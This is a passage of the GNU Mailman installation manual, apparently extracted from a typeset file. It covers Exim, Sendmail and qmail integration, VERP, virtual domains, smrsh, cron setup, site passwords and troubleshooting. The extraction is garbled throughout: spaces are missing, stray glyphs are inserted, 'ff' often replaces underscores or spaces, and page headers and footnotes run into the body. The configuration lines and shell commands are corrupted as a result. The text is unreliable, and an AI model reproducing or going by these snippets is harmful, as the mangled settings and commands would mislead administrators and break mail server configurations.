FProblemsMailmanXwillsendasman٠yMAILFROM/RCPTTOXasXitneeds.tItmayresultinmorethan10or100mes-sageshsentinoneconnection,;whichwille٠xceedthedefgaultvalueofExim's8ssmtpffacceptffqueueffperffconnec-tionGvalue.pThisisbadbecauseitwillcauseEximtoswitchintoqueuemodeandsev٠erelydelaydeliv٠eryofyourClistmessages.e]ThewgayCtoxthisistosetMailman's8sSMTPffMAXffSESSIONSffPERffCONNECTIONR(in`$prGex/Mailman/mmffcfg.p7y')toasmallervaluethanExim's8ssmtpffacceptffqueueffperffconnection.ffH12_U6
SetǧupyourmailserLver
ʵn>썍fdn썍Mailman&should%ignoreEximdelaywgarningmessages,Qev٠enthoughEximshouldnev٠ersendthistolistmessages.MailmanRG2.1's8sRHgeneralbouncedetectionandVERPRsupportshouldgreatlyimpro٠veRGthebouncedetector's8shitrates.Listy)e٠xistenceisdeterminedbytheexistencey(ofa`cong.pck'leforalist.PIfyoudeletelistsbyfoulmeans,zbea٠wgareofthis.IfLyouLaregettingEximorMailmancomplainingaboutuseridswhenyousendmailtoalist,checkthattheMAILMANffUSER\and\MAILMANffGROUPmatch\those\ofMailmanitself(i.e.
whatwereusedinthecongurescript).Alsomakgesureyoudonothav٠ealiasesinthemainaliasleforthelist. PÍReceiverǧV37er&_icationpōExim's8sqreceiv٠ervericationfeatureqisveryuseful{itletsEximrejectqunrouteableaddressesatSMTPqtime.However,thisqisqmostusefulfore٠xternally-originatingmailthatisaddressedtomailinoneofyourlocaldomains.F٠orMailmanlist>Xtrac,Kzmailoriginateson>Yyourserv٠er,andisaddressedtorandom>Ye٠xternaldomainsthatarenotunderyourcontrol.Furthermore,Yeach.8message.9isaddressedtoman٠yrecipients{upto500ifyouuseMailman's8sdefgaultcongurationanddon'ttweakSMTPffMAXffRCPTSx.ǍDoing_#receiv٠er_"vericationonMailmanlist_"tracisarecipefortrouble.Inparticular,Eximwillattempttorouteev٠eryBrecipientBaddressesinoutgoingMailmanlistposts.aEv٠enthoughthisrequiresnothingmorethanafewDNSlookupsforeachaddress,itcanstillintroducesignicantdelays.Therefore,youshoulddisablerecipientv٠ericationforMailmantrac.UnderExim3,putthisinyourmaincongurationsection:2
receiver_verify_hostsff=!127.0.0.1-UnderExim4,thisisprobablyalreadytakgencareofforyoubythedefgaultrecipientv٠ericationACLstatement(intheRCPTTOACL):'@accept
domains%=ff+local_domainsRsendpassRsmessage%=ffunknownuserRsverify+30=ffrecipientNwhichonlydoesrecipientv٠ericationonaddressesinyourdomain.(That's8snotexactlythesameasdoingrecipientv٠ericationonlyonmessagescomingfromnon-127.0.0.1hosts,butitshoulddothetrickforMailman.) PÍSMTPǧCallbackpōExim's8s<SMTP<callback<featureisanev٠enmorepowerfulwgaytodetectbogussenderaddressesthannormalsenderv٠erication.(UnfortunatelyY,[lots/ofserverssendbouncemessageswithabogusaddressintheheader,[andthereareplentyMthatNsendbounceswithbogusenv٠elopesenders(evenNthoughthey'resupposedNtojustuseanemptyenv٠elopesenderforbounces).In#order#toensurethatMailmancandisable/remo٠ve#bouncingaddresses,Lyougenerallywganttoreceiv٠ebouncesforMailmanblists,ev٠enaifthosebouncesarethemselv٠esnotbounceable.)Thus,youmightwganttodisableSMTP`callbackonbouncemessages.WithExim4,youcanaccomplishthisusingsomethinglikgethefollowinginyourRCPTTOACL:ffH6.2
UsingǧtheEximmailserLverʢ13גn>썍fdn썍'@#ffAcceptbouncestolistsevenifcallbacksorothercheckswouldfail'@warnmessage fd=ffX-WhitelistedRCPT-nohdrfromcallback:YesWIcondition=ff\WI${ifffand{{match{$local_part}{(.*)-bounces\+.*}}\E{existsff{MAILMAN_HOME/lists/$1/config.pck}}}\rG{yes}{no}}'@accept32condition=ff\WI${ifffand{{match{$local_part}{(.*)-bounces\+.*}}\E{existsff{MAILMAN_HOME/lists/$1/config.pck}}}\rG{yes}{no}}'@#ffNow,checksenderaddresswithSMTPcallback.'@deny32!verifyff=sender/callout=90sIfyoualsodoSMTPcallbacksonheaderaddresses,you'gllwantsomethinglikethisinyourDATAACL:Ǎ'@deny32!conditionff=$header_X-WhitelistedRCPT-nohdrfromcallback:M
}!verifyff=header_sender/callout=90sGVDoingǧVERPwithEximandMailmanpōVERP|willsendoneemail,Ӳwithaseparateenv٠elopesender(returnpath),foreachofyoursubscribers{readtheinformation"in`$prGex/Mailman/Def7aults٠.py'#for"theoptionsthatstartwithVERP.Inanutshell,allyouneedtodotoenableVERPwithEximistoaddtheselinesto`$prGex/Mailman/mmffcfg.p7y':2
VERP_PASSWORD_REMINDERSff=Yes2
VERP_PERSONALIZED_DELIVERIESff=Yes2
VERP_DELIVERY_INTERVALff=Yes2
VERP_CONFIRMATIONSff=YesN(Thedirector(router)abo٠veissmartenoughtodealwithVERPbounces.) PÍVirf`tualǧDomainspōOneEcapproachtoEbhandlingvirtualdomainsistouseaseparateMailmaninstallationforeachvirtualdomain.CurrentlyY,thisistheonlywgaytohav٠elistswiththesamenameindierentvirtualdomainshandledbythesamemachine.In&thiscase,ptheMAILMANffHOMEandMAILMANffWRAPmacrosare'useless{youcanremo٠ve&them.Changeyourdirector(router)tosomethinglikgethis:'@require_filesff=/virtual/${domain}/mailman/lists/${lc:$local_part}/config.pck-andchangeyourtransportlikgethis:ffH14_U6
SetǧupyourmailserLverfn>썍fdn썍'@commandff=/virtual/${domain}/mailman/mail/mailman\]@${ifffdef:local_part_suffix\x@{${sg{$local_part_suffix}{-(\\w+)(\\+.*)?}{\$1}}}x@{post}}ff\h
{$local_part'@current_directoryff=/virtual/${domain}/mailman'@home_directoryff=/virtual/${domain}/mailman~ListǧV37er&_icationpōThisGishowasetofaddressFtestsfortheEximlistslookonawgorkingsystem.lThelistinquestionisquixote-users@mems-exchangev.org,andthesecommandswererunonthemems-exchange.orgmailserv٠er("%"indi-catestheUnixshellprompt):Ǎ'@%ffexim-btquixote-users'@quixote-users@mems-exchange.org2
routerff=mailman_main_router,transport=mailman_transport'@%ffexim-btquixote-users-request'@quixote-users-request@mems-exchange.org2
routerff=mailman_router,transport=mailman_transport'@%ffexim-btquixote-users-bounces'@quixote-users-bounces@mems-exchange.org2
routerff=mailman_router,transport=mailman_transport'@%ffexim-btquixote-users-bounces+luser=example.com'@quixote-users-bounces+luser=example.com@mems-exchange.org2
routerff=mailman_router,transport=mailman_transportǔIfyourexim-btoutputlookssomethinglikgethis,athat's8sastart:@atleastitmeansEximwillpasstherightmessagestothe2rightMailmancommands.It2bynomeansguaranteesthatyourExim/MailmaninstallationisfunctioningperfectlyY,though!DocumentǧHistorLyOriginallyMwrittenbyNigelMMetheringhampostmaster@exim.org. UpdatedbyMarcMerlinmarc<ff5=qsoft@mer"linsv.orgforMailman2.1,Exim4.Ov٠erhauled/reformatted/claried/simpliedbyGregW37ardgwvard@python.net.!썍6.3UsingUtheSendmailmailser\#v3erGcOʸHe
e
ϸ؜͍WYar٠ning:
UYgou:maybetemptedtosettheDELIVERYffMODULEu6conguration:variablein`mm<ff5=qcfg.py'to'Sendmail'ݹwhenusingtheSendmailmailserv٠ers8.<0Don't.</The`Sendmail.py'moduleismisnamed{it's8sreally{acommand|linebasedmessagehandoschemeasopposedtotheSMTPsschemeusedin`SMTPDirect.py'(the^defgault).`Sendmail.py'hasknownsecurity^holesandispro٠videdasaproof-of-conceptonly^/Kj
ptmri7ta.Ifyouarehavingproblemsusing`SMTPDirect.py'xthoseinsteadofusing`Sendmail.py',oryoumayopenyoursystemuptosecuritye٠xploits.ff	@
h-:0Kj
ptmri7tafhInfact,inlatervMersionsofMailman,thismoduleisexplicitlysabotaged.zYouha
vetoknowwhatyou'redoinginordertore-enableit.He
H3GffH6.3
UsingǧtheSendmailmailserLverʢ15︠n>썍fdnSendmailǧ\smrsh"compatibilitypōMan٠y(Znewerversionsof(YSendmailcomewitharestrictedexecution(Yutilitycalled\smrsh",9whichlimitstheexecutablesthatSendmailwillallowtobeusedasmailprograms.(9Ygouneedtoe٠xplicitlyallowMailman's8swrapperprogramtobeusedwithsmrshorMailmanwillnotwgork.!EIfmailisnotgettingdeliv٠eredtoMailman's8swrapperprogramandyou'regettingan\operatingsystemerror"inyourmailsyslog,thiscouldbeyourproblem.ǍOnegoodwgayofenablingthisis:ǍFindoutwhereyourSendmaile٠xecutesitssmrshwrapperv@%ffgrepsmrsh/etc/mail/sendmail.cf:䍍Figureoutwheresmrshe٠xpectssymlinksforallowgablemailprograms.Atthev٠erybeginningofthefollowingoutputyouwillseeafullpathtosomedirectoryY,e.g.`/vfar/adm/sm.bin'orsimilar:v@%ffstrings$path_to_smrsh|less:䍍cd1into`/vfar/adm/sm.bin',}orwhereev٠er2ithappenstoresideonyoursystem{alternativ٠esinclude`/etc/smrsh',`/vfar/smrsh'and`/usr/local/smrsh'.v@%ffcd/var/adm/sm.bin:䍍CreateasymboliclinktoMailman's8swrapperprogram:v@%ffln-s/usr/local/mailman/mail/mailmanmailmanG{InteggratingǧSendmailandMailmanpōDavid\Champion\hascontributed\arecipeformorecloselyinte٠gratingSendmailandMailman,suchthatSendmailwillgautomaticallyrecognizeganddeliv٠ertonewmailingglistsasthe٠yarecreated,lwithouthavingtomanuallyeditaliastables.ǍInthe`contr"ib'directoryofMailman's8ssourcedistribution,youwillndfourles:Ǎ`mm-handler.readme'-ane٠xplanationofhowtosetev٠erythingup`mm-handler'-themaildeliv٠eryagent(MDA)`mailman.mc'-atogycongurationlesample`vir\#tusertable'-asampleforRFC2142addresse٠xceptionsffH16_U6
SetǧupyourmailserLverOn>썍fdnPerf7or?manceǧnotespōOneofthesurestperformancekillersforSendmailusersiswhenSendmailisconguredtosynchronouslyv٠erifytherecipient's8swhostviaDNS.IfitdoesvthisformessagespostedtoitfromMailman,#youwillgethorribleperformance.SinceMailmanusuallyconnectsvialocalhost(i.e.127.0.0.1)totheSMTPportofSendmail,youshouldbesuretocongureSendmailtonotdoDNSv٠ericationsynchronouslyforlocalhostconnections.![6.4UsingUtheQmailmailser\#v3erTherec`arecasomeissuesthatusersoftheqmailmailtransportagenthav٠eencountered.
Noneofthecoremaintainersuseqmail,soתall׫ofthisinformationhasbeencontributedbytheMailmanusercommunityY,especiallyMartinPreishuberandChristianTgismer,withnotesbyBalazsNagy(BN)andNorbertBollow(NB).	(YgouCmightCneedtosetthemail-gidusertoeitherqmail,O@mailman,ornofilesCbyusingthe--with-mail-gidcongureoption.DBN:ɹithighlydependsonyourmailstoringpolic٠yY.uForexampleifyouusethesimple`~alias/.qmail-*'les,{youcanuse`id-galias`.Butifyouuse`/vfar/qmail/users',thespeciedmailgidcanbeused.Iffyouaregoingtofbedirectingvirtualdomainsdirectlytothemailmanuser(using\virtualdomains"onalist-onlydomain,rfore٠xample),youwillhav٠etouse--with-mail-gid=gidofmailmanuser'sgroup.iThisisincompatiblewithhavinglistaliasesin`~alias',unlessthataliassimplyforwgardstomailman-listname*.If=:there=;isausermailmanonyoursystem,lthealiasmailman-ownerwillwgorkonlyin`~mailman'.QGYgouhav٠etodoatouch.qmail-ogwnerin`~mailman'directorytocreatethisalias.NB:*An*alternativ٠e,UIMHO*bettersolutionistochogwnroot~mailman,Uthatwillstopqmailfromconsideringmailmantobeausertowhommailcanbedeliv٠ered.(See\man8qmail-getpw".)InLaLrelatedissue,Vifyouhav٠eanyLuserswiththesamenameasoneofyourmailinglists,Vyouwillhav٠eproblemsiflistnamescontain`-'inthem.EPutting`.qmail'redirectionsintotheuser's8shomedirectorydoesn'twgorkbecausetheMailmanwrapperswillnotgetspa٠wnedwiththeproperGID.Thesolutionistoputthefollowinglinesinthe`/vfar/qmail/users/assign'le:@@+zope-:alias:112:11:/var/qmail/alias:-:zope-:@@.6ōwhereinthiscasethelistnameise.g.zope-users.NB:Alternativ٠elyY,7youcouldhostthelistsonavirtualdomain,7andusethe`/vfar/qmail/control/vir\#tualdomains'letoputthemailmanuserinchargeofthisvirtualdomain.BN:Ifinboundmessagesaredeliv٠eredbyanotheruserthanmailman,^it's8snecessarytoallowittoaccess`~mailman'.Besurethat`~mailman'hasgroupwritingaccessandsetgidbitisset.Thenputthedeliv٠eringuserto]mailman]group,dandyoucanden٠yaccessto`~mailman'toothers.<BesurethatyoucandothesamewiththeWWWservice.DፑBythewgaythebestthingistomakeavirtualmailserv٠ertohandleallofthemail.
@NB:E.g.makgelankadditional"A"DNSrecordforthevirtualmailserv٠erpointingtoyourIPaddress,addthelinelists.kva.hu:mailmanto`/vfar/qmail/control/vir\#tualdomains'andalists.kva.hulineto`/vfar/qmail/control/rcpthosts'~le.Don'tforgettoHUPmtheqmail-sendaftermodifying\virtualdomains".Thenev٠erymailtolists.kva.huwillarriv٠etomail.kva.hu's8smailmanuser.Thenmakgeyouraliases:ks.qmailK=>ffmailman@...'slettersks.qmail-owner+30=>ffmailman-owner'slettersffH6.4
UsingǧtheQmailmailserLverʢ17n>썍fdn썑F٠orlistaliases,youcaneithercreatethemmanually:ks.qmail-list0=>ffpoststothe'list'listks.qmail-list-admin32=>ffpoststothe'list'sownerks.qmail-list-requestff=>requeststo'list'ksetcL䍑ornformautomaticlistaliashandling(whenusingthelists.kva.huvirtualasabo٠ve),seen`contr"ib/qmail-to-mailman.py'intheMailmansourcedistribution.Modifythe`~mailman/.qmail-default'toinclude:ks|prelineff/path/to/python/path/to/qmail-to-mailman.py+䍑andnewlistswillautomaticallybepickgedup.Ygouhav٠etomakgesurethatthelocalhostcanrelayY.ЏIfyoustartqmailviainetdandtcpenvY,<youneedsomelinethefollowinginyour`/etc/hostsv.allow'le:UMtcp-env:ff127.10.205.200.:setenvRELAYCLIENT+䍑whereb10.205.200.isbyourIPbaddressblock.Ifyoubusetcpserv٠er,hthenyouneedsomethinglikgethefollowinginyour`/etc/tcp].smtp'le:UM10.205.200.:allow,RELAYCLIENT=""UM127.:allow,RELAYCLIENT="":䍍BN:CBigger`/vfar/qmail/control/concurrencyremote'Dvalueswgorkbettersendingoutboundmessages,withinrea-son.S7Unless=you=knowyoursystemcanhandleit(man٠yifnotmostcannot)thisshouldnotbesettoavaluegreaterthan120.Moreinformationaboutsettingupqmailandrelayingcanbefoundintheqmaildocumentation.ǍBN:TLastbutnotleast,(here's8salittlescripttogeneratealiasestoyourlists(ifSforsomereasonyoucan/willnothav٠ethemautomaticallypickgedupusing`contr"ib/qmail-to-mailman.py'):ǍThisscriptisfortheMailman2.0series:s#!/bin/shsifff[$#=1];then2
i=$12
echoffMakinglinksto$iinthecurrentdirectory...2
echoff"|preline/home/mailman/mail/mailmanpost$i">.qmail-$i2
echoff"|preline/home/mailman/mail/mailmanmailowner$i">.qmail-$i-admin2
echoff"|preline/home/mailman/mail/mailmanmailowner$i">.qmail-$i-owner2
echoff"|preline/home/mailman/mail/mailmanmailowner$i">.qmail-owner-$i2
echoff"|preline/home/mailman/mail/mailmanmailcmd$i">.qmail-$i-requestsfiNote:	賹Thismaism`foranewMailman2.1installation.UsersupgradingfromMailman2.0wgouldmostlikgelychange`/usr/local/mailman'?to@`/home/mailman'.UIfindoubt,refertothe--prexoptionpassedtocongureduringcompiletime.ffH18_U6
SetǧupyourmailserLvercn>썍fdn썍s#!/bin/shsifff[$#=1];then2
i=$12
echoffMakinglinksto$iinthecurrentdirectory...2
echoff"|preline/usr/local/mailman/mail/mailmanpost$i">.qmail-$i2
echoff"|preline/usr/local/mailman/mail/mailmanadmin$i">.qmail-$i-admin2
echoff"|preline/usr/local/mailman/mail/mailmanbounces$i">.qmail-$i-bounces2
#ffThefollowinglineisforVERP2
#ffecho"|preline/usr/local/mailman/mail/mailmanbounces$i">.qmail-$i-bounces-default2
echoff"|preline/usr/local/mailman/mail/mailmanconfirm$i">.qmail-$i-confirm2
echoff"|preline/usr/local/mailman/mail/mailmanjoin$i">.qmail-$i-join2
echoff"|preline/usr/local/mailman/mail/mailmanleave$i">.qmail-$i-leave2
echoff"|preline/usr/local/mailman/mail/mailmanowner$i">.qmail-$i-owner2
echoff"|preline/usr/local/mailman/mail/mailmanrequest$i">.qmail-$i-request2
echoff"|preline/usr/local/mailman/mail/mailmansubscribe$i">.qmail-$i-subscribe2
echoff"|preline/usr/local/mailman/mail/mailmanunsubscribe$i">.qmail-$i-unsubscribesfiҍInf7or?mationǧonVERPpōYgou
willnotein
thealiasgeneratingscriptfor2.1abo٠ve,-Cthere
isalineforVERP
ythathasbeencommentedout.lIfyouc<arec;interestedinVERPc4therearetwgooptions.TherstoptionistoallowMailmantodotheVERPc5formatting.T37oactivatethis,uncommentthatlineandaddthefollowinglinestoyour`mm<ff5=qcfg.py'le:Ǎ2
VERP_FORMATff='%(bounces)s-+%(mailbox)s=%(host)s'2
VERP_REGEXPff=r'^(?P<bounces>.*?)-\+(?P<mailbox>[^=]+)=(?P<host>[^@]+)@.*$'8ThesecondoptionisapatchonSourceF٠orgelocatedat:http://sourceforgev.net/tracker/?func=detail&atid=300103&aid=645513&group<ff5=qid=103Thispatchcurrentlyneedsmoretestingandmightbestbesuitablefordev٠elopersorpeoplewellfgamiliarwithqmail.Havingsaidthat,thispatchisthemoreqmail-friendlyapproachresultinginlargeperformanceg7ains. PÍVirf`tualǧmailserLverAsmentionedinthe6.4sectionforavirtualmailserv٠er,apatchundertestingislocatedat:http://sf.net/tracker/index.php?func=detail&aid=621257&group<ff5=qid=103&atid=300103Ag7ain,thispatchisforpeoplefgamiliarwiththeirqmailinstallation. PÍMoreǧinf7or?mationYgou2=might2>beinterestedinsomeinformationonmodifyingfootersthatNorbertBollowhaswrittenaboutMailmanandqmail,availablehere:http://mailman.cisv.to/qmail-vferh/ffH6.4
UsingǧtheQmailmailserLverʢ19"n>썍fdnύ7hReovieJwyoursitedefoaults
_MailmanNhasMalargenumberofsite-widecongurationoptionswhichyoushouldnowreviewMandchangeaccordingtoyyourxneeds.SomeoftheoptionscontrolhowMailmaninteractswithyourenvironment,:andotheroptionsselectdefgaultsfornewlycreatedlists^4.Therearesystemtuningparametersandinte٠grationoptions.ǍThefullsetofsite-widedefgaultsliv٠esinthe`$prGex/Mailman/Def7aults٠.py'le,
howeveryoushouldnevgermodifythisyLle!{Instead,changethe`mm<ff5=qcfg.py'yKleinthatsamedirectoryY.|Ygouonlyneedtoaddvaluesto`mm<ff5=qcfg.py'thatuaretdierentthanthedefgaultsin`Defaultsv.py',andufutureMailmanupgradesareguaranteednev٠ertotouchyour`mm<ff5=qcfg.py'le.TheQ`Defaultsv.py'Pleisdocumentede٠xtensivelyY,dsothePoptionsarenotdescribedhere.vThe`Defaultsv.py'Pand`mm<ff5=q-cfg.py'arebothPythonlessovalidPythonsyntaxmustbemaintainedoryourMailmaninstallationwillbreak.Note:@Do0not0changetheHOMEffDIR0VorMAILMANffDIR0Vvariables.+$These0aresetautomaticallybythecongurescript,andyouwillbreakyourMailmaninstallationbyifyouchangethese.Ygoushouldmakgean٠ychangesto`mm<ff5=qcfg.py'usingtheaccountyouinstalledMailmanunderinthe14section.'pÍ8hCreateasite-widemailinglist
_Afteryouhav٠ecompletedtheintegrationofMailmanandyourmailserv٠er,youneedtocreatea\site-wide"mailinglist.This!istheonethatpasswgordreminderswillappeartocome!from,4oanditisrequiredforproperMailmanoperation.UsuallyfBthisfAshouldbealistcalledmailman,khbutifyouneedtochangethis,khbesuretochangetheMAILMANffSITEff-LISTEvariablein`mm<ff5=qcfg.py'.Ygoucancreatethesitelistwiththiscommand,followingtheprompts:2
%ffbin/newlistmailman-Now-congure,yoursitelist.UThereisaconv٠enienttemplateforagenericsitelistintheinstallationdirectoryY,xunder`data/sitelist.cfg'whichcanhelpyouwiththis.Ygoushouldreviewthecongurationoptionsinthetemplate,butnotethatan٠yoptionsnotnamedinthe`sitelist.cfg'lewgon'tbechanged.Thetemplatecanbeappliedtoyoursitelistbyrunning:2
%ffbin/config_list-idata/sitelist.cfgmailman-Afterapplyingthe`sitelist.cfg'options,besureyoureviewthesitelist's8scongurationviatheadminpages.Ygoushouldalsosubscribeyourselftothesitelist.'pÍ9hSetupcron
_Sev٠eralMailmanfeaturesoccuronare٠gularschedule,soyoumustsetupcrontoruntherightprogramsattherighttime^5.Ifgmyourglv٠ersionofcrontabsupportsthe-uoption,lWyoumustberoottodothisne٠xtstep.gAdd`$prGex/cron/crontab.in'asacrontabentrybye٠xecutingthesecommands:ff-	荍
h-:4fhInhgeneral,*changingthelistdefaultsdescribedinhthissectionwillnotaectanMyalreadycreatedlists.T\,omakechangesafteralisthasbeen	created,usethewebinterfaceorthecommandlinescripts,suchas1ߌ
ptmb7tbin/withlistandbin/congzfffhHlist.	鍍
h-:5fhNotefthatgifyou'reupgradingfromapreviousvMersionofMailman,you'llwantftoinstallthenewcrontab,b
utbecarefulifyou'rerunningmultipleMailmaninstallationsonyoursite!zChangingthecrontabcouldmesswithotherparallelMailmaninstallations.ffH20K9
Setǧupcron.n>썍fdn썍2
%ffcd$prefix/cron2
%ffcrontab-umailmancrontab.in8Ifsyourusedthe--with-user٠nameoption,usethatusernameinsteadofmailmanforthe-uargumentvalue.Ifyourcrontabdoesnotsupportthe-uoption,trythesecommands:Ǎ2
%ffcd$prefix/cron2
%ffsu-mailman2
%ffcrontabcrontab.inW
10iStarkttheMailmanqr7Bunner
_Mailmandependsonaprocesscalledthe\qrunner"todeliv٠eryallemailmessagesitsees.I'Ygoumuststarttheqrunnerbye٠xecutingthefollowingcommandfromthe$prGexdirectory:2
%ffbin/mailmanctlstart-YgousprobablywgantstostartMailmanev٠erytimeyourebootyoursystem.Exactlyhowtodothisdependsonyouroperating*system.Ifyour)OSsupportsthechkcongcommand(e.g.RedHatand)MandrakgeLinux٠es)youcandothefollowing(asroot,fromtheMailmaninstalldirectory):2
%ffcpscripts/mailman/etc/init.d/mailman2
%ffchkconfig--addmailman8Notethat`/etc/init.d'maybe`/etc/rc.d/init.d'onsomesystems.OnGentooLinux,youcandothefollowing:2
%ffcpscripts/mailman/etc/init.d/mailman2
%ffrc-updateaddmailmandefaultOnDebian,youprobablywganttouse:2
%ffupdate-rc.dmailmandefaults-F٠orUnixesthatdon'tsupportchkcong,youmighttrythefollowingsetofcommands:ffHʢ21?n>썍fdn썍2
%ffcpscripts/mailman/etc/init.d/mailman2
%ffcpmisc/mailman/etc/init.d2
%ffcd/etc/rc.d/rc0.d2
%ffln-s../init.d/mailmanK12mailman2
%ffcd../rc1.d2
%ffln-s../init.d/mailmanK12mailman2
%ffcd../rc2.d2
%ffln-s../init.d/mailmanS98mailman2
%ffcd../rc3.d2
%ffln-s../init.d/mailmanS98mailman2
%ffcd../rc4.d2
%ffln-s../init.d/mailmanS98mailman2
%ffcd../rc5.d2
%ffln-s../init.d/mailmanS98mailman2
%ffcd../rc6.d2
%ffln-s../init.d/mailmanK12mailman
11iChecJkthehostnamesettings
_YgoujshouldcheckthevaluesforDEF٠AULTffEMAILffHOST/andjDEFAULTffURLffHOST/inj`Defaultsv.py'.Makgean٠ynecessaryhchangeshinthe`mm<ff5=qcfg.py'le,menotinthe`Defaultsv.py'hle.Ifyouchangeeitherofthesetwgovalues,mdyou'llwganttoaddthefollowingafterwardsinthe`mm<ff5=qcfg.py'le:Ǎ2
add_virtualhost(DEFAULT_URL_HOST,ffDEFAULT_EMAIL_HOST)-Ygouwillwganttorunthebin/xffurl.pytochangethedomainofan٠yexistinglists.'pÍ12iCreatethesitepassow$ordThere[aretwgosite-widepasswordsthatZyoucancreatefromthecommandline,usingthebin/mmsitepassscript.PTherstQisRthe\sitepasswgord"whichcanbeusedan٠ywhereapasswgordisrequiredinthesystem.ThesitepasswgordwillgetRyouRintotheadministrationpageforan٠ylist,kanditcanbeusedtologinasan٠yusers8.ThinkrootforaUnixsystem,sopickthispasswgordwisely!ǍTheksecondpasswgordkisasite-wide\listcreator"passwgord.Ygoucanusethistodele٠g7atetheabilitytocreatenewmailinglistswithoutpro٠vidingalltheprivile٠gesofthesitepasswgord.0?Ofcourse,theownerofthesitepasswgordcanalsocreatenewmailinglists,butthelistcreatorpasswgordislimitedtojustthatspecialrole.T37osetthesitepasswgord,usethiscommand:2
%ff$prefix/bin/mmsitepass<your-site-password>-T37osetthelistcreatorpasswgord,usethiscommand:2
%ff$prefix/bin/mmsitepass-c<list-creator-password>Itisokaynottosetalistcreatorpasswgord,butyouprobablydowantasitepassword.ffH22Ro12
Createǧthesitepass7wgordFMn>썍fdn.̍13iCreateyJourrstmailinglist
_F٠or5moredetailedinformationabout5usingMailman,Dincludingcreatingandconguringmailinglists,DseetheMailmanList*AdminstrationManual.Theseinstructionspro٠videaquick*guidetocreatingyourrstmailinglistviathewebinterfgace:wCStartbyvisitingtheurlhttp://my.dom.ain/mailman/create.Fillqouttheformasdescribedrintheon-screeninstructions,Mandinthe\Listcreator's8spasswgord"eld,MtypethepasswgordGyouenteredFinsection7.lT37ypeyourownemailaddressforthe\Initiallistowneraddress",Xandselect\Yes"tonotifythelistadministrators8.Clickonthe\CreateList"button.CheckyouremailforamessagefromMailmaninformingyouthatyournewmailinglistwgascreated.Nowtvisitsthelist's8sadministrationpage,eitherbyfollowingthelinkontheconrmationwebpageorclicking1onthelinkfrom1theemailMailmanjustsentyou..TT37ypicallytheurlwillbesomethinglikgehttp://my.dom.ain/mailman/admin/mylist.T37ypeinthelist's8spasswgordandclickon\Letmein...L"Clickon\MembershipManagement"andthenon\MassSubscription".Enteryouremailaddressinthebigte٠xteld,andclickon\SubmitYgourChanges".Nowgotoyouremailandsendamessagetomylist@my.dom.ain.?Withinaminuteortwgoyoushouldseeyourmessagere
ectedbacktoyouviaMailman.wCCongratulations!Ygou'v٠eMjustMsetupandtestedyourrstMailmanmailinglist.Ifyouhadan٠yproblemsalongthewgayY,pleaseseethe14section.'fh14iTEroubJleshooting
_IfqyouencounterproblemsrwithrunningMailman,rstcheckthequestionandanswersectionbelowY.)Ifyourproblemisnotco٠veredthere,checktheonlinehelp,includingtheFBAs8QandthecommunityFAs8Qwiki.ǍAlso#checkforerrorsinyoursyslogles,Lyourmailand#webserv٠erloglesandinMailman's8s`$prGex/logs/error'le.If_you'restillhavingproblems,vyoushouldsendamessagetothemailman-users@python.orgmailinglist^6;4seehttp://mail.python.org/mailman/listinfo/mailman-usersdformoreinformation.Besuretoincludinginformationonyouroperatingsystem,]whichv٠ersionofPythonyou'reusing,^andwhichversionofMailmanyou'reinstalling.Hereisalistofsomecommonquestionsandanswers:wCProblem:AllMailmanwebpagesgiv٠ea404Filenotfounderrors8.Solution:'!Ygourwebserv٠erhasnotbeensetupproperlyforhandlingMailman's8sCGIprograms.-Makgesureyouhav٠e:~"1./conguredthewebserv٠ertogivepermissionsto`$prGex/cgi-bin'"2./restartedthewebserv٠erproperlyY.Consultyourwebserv٠er's8sdocumentationforinstructionsonhowtodochecktheseissues.yff-	荍
h-:6fhYoumustsubscribetothismailinglistinordertoposttoit,b
utthemailinglist'`sarchivMesarepubliclyvisible.ffHʢ23QIn>썍fdn썍Problem:AllMailmanwebpagesgiv٠ean"InternalServerError".Solution:ԹTheLylikgelyproblemLxisthatyouareusingthewronguserorgroupfortheCGILlscripts.kCheckyourwebserv٠er's8slogles.Ifyouseealinelikgev@Attemptfftoexecscriptwithinvalidgid51,expected996䍑youwillneedtoreinstallMailman,specifyingtheproperCGIgroupid,asdescribedinthesection.Problem:Isendmailtothelist,andgetbackmailsayingthelistisnotfound!Solution:YgouKprobablyKdidn'taddthenecessaryaliasestothesystemaliasdatabase,~oryoudidn'tproperlyinte٠grateMailmanwithyourmailservers8.jPerhapsyoudidn'tupdatethealiasdatabase,oryoursystemrequiresyoutorunnewaliasese٠xplicitlyY.Refertoyourserverspecicinstructionsinthe6section.Problem:Isendmailtothelist,andgetbackmailsaying,\unknownmailererror".Solution:ryThe,plikgelyproblem,qisthatyouareusingthewronguserorgroupidforthemailwrappers.Checkyourmailserv٠er's8slogles;ifyouseealinelikgev@Attemptfftoexecscriptwithinvalidgid51,expected996䍑youwillneedtoreinstallMailman,specifyingthepropermailgroupidasdescribedinthesection.Problem:(IuseGPostxHasmymailserv٠erandthemailwrapperprogramsareloggingcomplaintsaboutthewrongGID.Solution:Makgensurethe`$prGex/data/aliases٠.db'leisnuserownedbymailman(orwhatev٠erusernameyouusedinthecongurecommand).Ifthisleisnotuserownedbymailman,7Postxwillnotrunthemailprogramsasthecorrectusers8.Problem:JIeuseSendmailasmymailserv٠er,andwhenIsendmailtothelist,Idgetbackmailsaying,\sh:mailmannotavailableforsendmailprograms".Solution:&AYgourUsystemusestheTSendmailrestrictedshell(smrsh).YouneedTtoconguresmrshbycreatingasymbolicilinkjfromthemailwrapper(`$prGex/mail/mailman')tothedirectoryidentifyinge٠xecutablesiallowedtorunundersmrsh.Somecommonnamesforthisdirectoryare`/vfar/admin/sm.bin',`/usr/admin/sm.bin'or`/etc/smrsh'.NotethatonDebianLinux,thesystemmakges`/usr/lib/sm.bin',whichiswrong,youwillneedtocreatethedirectory@`/usr/admin/sm.bin'andaddthelinkthere.XNotefurtheran٠yaliasesnewaliasesspitsoutwillneedtobeadjustedtopointtothesecurelinktothewrappers8.Problem:ImessedupwhenIcalledcongure.HowdoIcleanthingsupandre-install?Solution:`%ffmakeclean`%ff./configure--with-the-right-options`%ffmakeinstallffH24zU14
Troubleshooting_Ӡn>썍fdnύ15iPlatfoor\(mandoper$atingsystemnotes
_GenerallyY,jMailman#runs"onan٠yPOSIX-basedsystem,ksuchasSolaris,thevariousBSDvariants,kLinuxsystems,MacOSX,
